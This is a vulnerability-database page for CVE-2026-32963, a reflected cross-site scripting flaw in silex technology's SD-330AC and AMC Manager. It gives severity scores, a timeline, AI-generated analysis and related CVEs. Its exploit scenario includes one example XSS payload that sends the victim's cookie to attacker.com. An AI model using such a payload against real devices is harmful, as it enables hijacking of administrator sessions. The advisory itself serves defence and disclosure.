Skip to main content

Sd 330Ac EUVDEUVD-2026-23756

| CVE-2026-32963 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-04-20 jpcert GHSA-v94v-gwmf-jhq8
XSS Sd 330Ac Amc Manager
5.1
CVSS 4.0 · NVD
Share

Severity by source

NVD PRIMARY
5.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
A
Scope
X

Lifecycle Timeline

5
CVSS changed
Apr 20, 2026 - 04:22 NVD
6.1 (MEDIUM) 5.1 (MEDIUM)
Analysis Generated
Apr 20, 2026 - 04:09 vuln.today
EUVD ID Assigned
Apr 20, 2026 - 04:00 euvd
EUVD-2026-23756
Analysis Generated
Apr 20, 2026 - 04:00 vuln.today
CVE Published
Apr 20, 2026 - 03:18 nvd
MEDIUM 5.1

DescriptionCVE.org

SD-330AC and AMC Manager provided by silex technology, Inc. contain a reflected cross-site scripting vulnerability. When a user logs in to the affected device and access some crafted web page, arbitrary script may be executed on the user's browser.

AnalysisAI

Reflected cross-site scripting (XSS) in Silex Technology SD-330AC and AMC Manager allows remote attackers to execute arbitrary JavaScript in users' browsers when they visit crafted web pages after authenticating to the affected device. The vulnerability requires user interaction and affects both products across all versions. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts
Continue with Google Continue with GitHub

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Social engineer administrator with phishing email
Delivery
Administrator clicks malicious URL
Exploit
Reflected XSS payload executes in admin browser
Execution
JavaScript steals session token or credentials
Persist
Attacker impersonates admin in management interface
Impact
Unauthorized device or software reconfiguration
Sign in to reveal

Vulnerability AssessmentAI

Exploitation The user must be authenticated (logged in) to the SD-330AC or AMC Manager web interface at the time they visit the malicious page. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment CVSS 6.1 with network vector (AV:N), low complexity (AC:L), and required user interaction (UI:R) indicates moderate real-world risk. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker crafts a malicious URL containing JavaScript payload-for example, 'http://[device-ip]/admin?search=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>'-and sends it to an administrator known to manage the SD-330AC or AMC Manager. When the authenticated administrator clicks the link in email or chat, the crafted parameter is reflected in the page response, executing the attacker's script in the administrator's browser, stealing session cookies or performing unauthorized actions. …
Remediation Check Silex Technology's official security advisories at https://www.silex.jp/support/security-advisories/en/2026-001 for patch availability and fixed versions-this information is not confirmed in the provided intelligence. … Detailed patch versions, workarounds, and compensating controls in full report.
Sign in to read full assessment

Threat intelligence, references, and detailed analysis are available after sign-in.

More in Sd 330Ac

View all
CVE-2026-32956 CRITICAL
9.3 Apr 20

Remote code execution in silex technology SD-330AC and AMC Manager allows unauthenticated network attackers to execute a
CVE-2026-32955 HIGH
8.7 Apr 20

Stack-based buffer overflow in silex technology's SD-330AC (Ver.1.42 and earlier) and AMC Manager (Ver.5.0.2 and earlier
CVE-2026-32965 HIGH
8.7 Apr 20

SD-330AC wireless LAN modules and AMC Manager devices from silex technology allow unauthenticated remote attackers to mo
CVE-2026-32959 HIGH
8.2 Apr 20

Weak cryptographic implementation in Silex Technology SD-330AC wireless LAN adapters (v1.42 and earlier) and AMC Manager
CVE-2026-32960 HIGH
7.1 Apr 20

Authentication bypass in silex technology SD-330AC (≤1.42) and AMC Manager (≤5.0.2) allows remote attackers to gain unau
CVE-2026-32957 MEDIUM
6.9 Apr 20

Unauthenticated arbitrary file upload in Silex Technology SD-330AC and AMC Manager firmware maintenance functions allows
CVE-2026-32962 MEDIUM
6.9 Apr 20

SD-330AC and AMC Manager by Silex Technology lack authentication controls on critical configuration functions, allowing

CVE-2026-32964 MEDIUM
6.9 Apr 20

CRLF injection in Silex Technology SD-330AC and AMC Manager allows unauthenticated remote attackers to inject arbitrary

CVE-2026-32961 MEDIUM
6.9 Apr 20

Heap-based buffer overflow in Silex SD-330AC and AMC Manager packet processing allows remote unauthenticated attackers t
CVE-2026-32958 MEDIUM
6.9 Apr 20

Hard-coded cryptographic keys in Silex Technology SD-330AC and AMC Manager enable attackers to forge firmware updates th

Same weakness CWE-79 – Cross-site Scripting (XSS)

View all
CVE-2023-40000 HIGH POC
8.3
CVE-2025-52367 MEDIUM POC
5.4
CVE-2026-42897 MEDIUM POC
6.1
CVE-2025-27915 MEDIUM POC
5.4
CVE-2025-1232 HIGH POC
8.8
CVE-2025-48700 MEDIUM POC
6.1
CVE-2025-66376 HIGH
7.2
CVE-2025-44148 CRITICAL POC
9.8

Same technique XSS

View all
CVE-2023-40000 HIGH POC
8.3
CVE-2024-52875 HIGH POC
8.8
CVE-2025-52367 MEDIUM POC
5.4
CVE-2026-42897 MEDIUM POC
6.1
CVE-2025-27915 MEDIUM POC
5.4
CVE-2025-1232 HIGH POC
8.8
CVE-2025-48700 MEDIUM POC
6.1
CVE-2024-6497 HIGH POC
8.8

Share

EUVD-2026-23756 vulnerability details – vuln.today
Back

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy